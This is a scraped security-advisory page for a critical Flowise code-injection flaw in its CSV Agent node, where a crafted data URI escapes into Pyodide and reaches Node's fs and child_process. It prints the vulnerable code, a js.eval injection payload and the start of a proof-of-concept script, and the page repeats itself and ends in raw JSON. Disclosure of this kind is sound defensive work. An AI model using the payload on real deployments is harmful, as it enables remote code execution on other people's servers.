AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

FlowiseGHSA-4j8x-x6v7-w9rq

Flowise: code injection

Flowise

CVE-2026-69264 · Published Aug 4, 2026

Critical
Fix: upgrade to 3.1.3 or later
GitHub advisory

Summary

Flowise's CSVAgent interpolates an attacker-controlled segment of the

csvFile data URI directly into a Python source-code template that is then

executed by Pyodide. Because Pyodide is loaded with the default js bridge

to globalThis (which on Node.js exposes eval and dynamic import()), the

attacker can break out of the Python string literal, hand a JS string to

js.eval, dynamically import any Node built-in module (fs, child_process,

…), and execute arbitrary file I/O or OS commands as the Flowise process.

The two validator paths around this code (validatePythonCodeForDataFrame

and validateCustomReadCSVFunction) are never applied to the bootstrap

template.

A workspace user with chatflows:create (or any agentflows/chatflows

update permission) plants a CSV Agent node with a crafted csvFile. Once the

chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id

endpoint, *any unauthenticated* request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on

, and using two pop() calls (lines 127–138):

```ts

} else {

if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {

files = JSON.parse(csvFileBase64)

} else {

files = [csvFileBase64]

}...

Affected versions

PackageAffectedFixed in
flowise
npm
< 3.1.33.1.3
Details and references

### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCodeForDataFrame` and `validateCustomReadCSVFunction`) are never applied to the bootstrap template. A workspace user with `chatflows:create` (or any `agentflows`/`chatflows` update permission) plants a CSV Agent node with a crafted `csvFile`. Once the chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id` endpoint, *any unauthenticated* request triggers the host RCE. ### Details **Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` The `run()` method extracts the file segment from the data URI by splitting on `,` and using two `pop()` calls (lines 127–138): ```ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] } for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } } ``` The captured `base64String` is then **interpolated verbatim** into a Python source string at lines 156–171: ```ts const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" // ← line 161: interpolation sink decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink ``` **Validator gaps:** - `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but this only validates the `customReadCSV` field, not `base64String`. - `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only against the *LLM-emitted* Python that runs later , never against this bootstrap template. - No content check (`^[A-Za-z0-9+/=]* CVE-2026-69264: Flowise critical vulnerability | Advisories

) is applied to `base64String` before interpolation. **Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`, lines 7–16): ```ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance } ``` Pyodide is loaded with default options. On Node.js, the default `js` module inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and top-level dynamic `import()`. From injected Python, the attacker runs: ```python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" ) ``` …which executes in the host Node.js process, **not** inside Pyodide's WASM sandbox. Substituting `await import('child_process')` for `await import('fs')` yields arbitrary OS-command execution via `cp.execSync(...)` with the same primitive. > **Node-version note.** The original PoC for this issue used > `js.process.mainModule.require("child_process")`, which is a one-liner but > only works on Node ≤ 13 because `proc

CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-94, CWE-95
Also known as
CVE-2026-69264

More Flowise advisories

All Flowise
CVE-2026-69264: Flowise critical vulnerability | Advisories

AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

FlowiseGHSA-4j8x-x6v7-w9rq

Flowise: code injection

Flowise

CVE-2026-69264 · Published Aug 4, 2026

Critical
Fix: upgrade to 3.1.3 or later
GitHub advisory

Summary

Flowise's CSVAgent interpolates an attacker-controlled segment of the

csvFile data URI directly into a Python source-code template that is then

executed by Pyodide. Because Pyodide is loaded with the default js bridge

to globalThis (which on Node.js exposes eval and dynamic import()), the

attacker can break out of the Python string literal, hand a JS string to

js.eval, dynamically import any Node built-in module (fs, child_process,

…), and execute arbitrary file I/O or OS commands as the Flowise process.

The two validator paths around this code (validatePythonCodeForDataFrame

and validateCustomReadCSVFunction) are never applied to the bootstrap

template.

A workspace user with chatflows:create (or any agentflows/chatflows

update permission) plants a CSV Agent node with a crafted csvFile. Once the

chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id

endpoint, *any unauthenticated* request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on

, and using two pop() calls (lines 127–138):

```ts

} else {

if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {

files = JSON.parse(csvFileBase64)

} else {

files = [csvFileBase64]

}...

Affected versions

PackageAffectedFixed in
flowise
npm
< 3.1.33.1.3
Details and references

### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCodeForDataFrame` and `validateCustomReadCSVFunction`) are never applied to the bootstrap template. A workspace user with `chatflows:create` (or any `agentflows`/`chatflows` update permission) plants a CSV Agent node with a crafted `csvFile`. Once the chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id` endpoint, *any unauthenticated* request triggers the host RCE. ### Details **Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` The `run()` method extracts the file segment from the data URI by splitting on `,` and using two `pop()` calls (lines 127–138): ```ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] } for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } } ``` The captured `base64String` is then **interpolated verbatim** into a Python source string at lines 156–171: ```ts const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" // ← line 161: interpolation sink decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink ``` **Validator gaps:** - `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but this only validates the `customReadCSV` field, not `base64String`. - `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only against the *LLM-emitted* Python that runs later , never against this bootstrap template. - No content check (`^[A-Za-z0-9+/=]* CVE-2026-69264: Flowise critical vulnerability | Advisories

) is applied to `base64String` before interpolation. **Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`, lines 7–16): ```ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance } ``` Pyodide is loaded with default options. On Node.js, the default `js` module inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and top-level dynamic `import()`. From injected Python, the attacker runs: ```python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" ) ``` …which executes in the host Node.js process, **not** inside Pyodide's WASM sandbox. Substituting `await import('child_process')` for `await import('fs')` yields arbitrary OS-command execution via `cp.execSync(...)` with the same primitive. > **Node-version note.** The original PoC for this issue used > `js.process.mainModule.require("child_process")`, which is a one-liner but > only works on Node ≤ 13 because `proc

CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-94, CWE-95
Also known as
CVE-2026-69264

More Flowise advisories

All Flowise
) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7–16):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface> {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import('pyodide')\n const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage(['pandas', 'numpy'])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () => {\"\n \" const fs = await import('fs');\"\n \" fs.writeFileSync('proof.txt', 'pwned');\"\n \"})()\"\n)\n```\n\n…which executes in the host Node.js process, **not** inside Pyodide's WASM\nsandbox. Substituting `await import('child_process')` for `await import('fs')`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n> **Node-version note.** The original PoC for this issue used\n> `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n> only works on Node ≤ 13 because `process.mainModule` was deprecated and now\n> returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n> above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n> confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n> 20.20.2 , see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n> below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** , mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(',')`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic\n// import('fs') -> host file ","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cvssVersion":"4.0","severitySource":"github","cwes":["CWE-94","CWE-95"],"refs":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"affected":[{"product":"flowise","ecosystem":"npm","package":"flowise","introduced":"","fixed":"3.1.3","lastAffected":""}],"changes":[]},"related":[{"id":"GHSA-qgvm-j2hm-6m38","cve":"CVE-2026-70478","aliases":["CVE-2026-70478"],"summary":"Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens , enables token theft for any connected service","title":"Flowise: information disclosure","severity":"critical","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.3","fixFirst":"3.1.3","fixedN":1,"published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-qgvm-j2hm-6m38","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-5xvg-pmgg-3mxr","cve":"CVE-2026-70477","aliases":["CVE-2026-70477"],"summary":"Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability","title":"Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability","severity":"critical","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.3","fixFirst":"3.1.3","fixedN":1,"published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-5xvg-pmgg-3mxr","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-gmmw-qg98-6j6p","cve":"CVE-2026-70476","aliases":["CVE-2026-70476"],"summary":"Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation","title":"Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation","severity":"high","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.3","fixFirst":"3.1.3","fixedN":1,"published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-gmmw-qg98-6j6p","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-8gj2-2cvc-6xx7","cve":"CVE-2026-73603","aliases":["CVE-2026-73603"],"summary":"Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials","title":"Flowise: missing authorization","severity":"medium","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.4","fixFirst":"3.1.4","fixedN":1,"published":"2026-08-04","modified":"2026-08-14","withdrawn":"","url":"https://github.com/advisories/GHSA-8gj2-2cvc-6xx7","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-fm2f-4339-4p2f","cve":"CVE-2026-70475","aliases":["CVE-2026-70475"],"summary":"Flowise: Missing Authorization on Execution Update Endpoint","title":"Flowise: Missing Authorization on Execution Update Endpoint","severity":"high","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.3","fixFirst":"3.1.3","fixedN":1,"published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-fm2f-4339-4p2f","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-wch5-xp77-fxg4","cve":"CVE-2026-70474","aliases":["CVE-2026-70474"],"summary":"Flowise: Cross-Workspace OAuth2 Credential Metadata Leak","title":"Flowise: Cross-Workspace OAuth2 Credential Metadata Leak","severity":"high","score":null,"product":"flowise","productLabel":"","products":["flowise"],"fixed":"3.1.3","fixFirst":"3.1.3","fixedN":1,"published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-wch5-xp77-fxg4","foundAt":"2026-09-24 23:00:21"}]}}